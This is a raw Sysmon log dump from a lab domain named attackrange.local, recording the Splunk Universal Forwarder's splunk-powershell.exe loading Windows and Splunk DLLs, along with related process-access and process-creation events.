CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.079{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000055974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000055969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.060{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.061{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017926Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:21.747{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 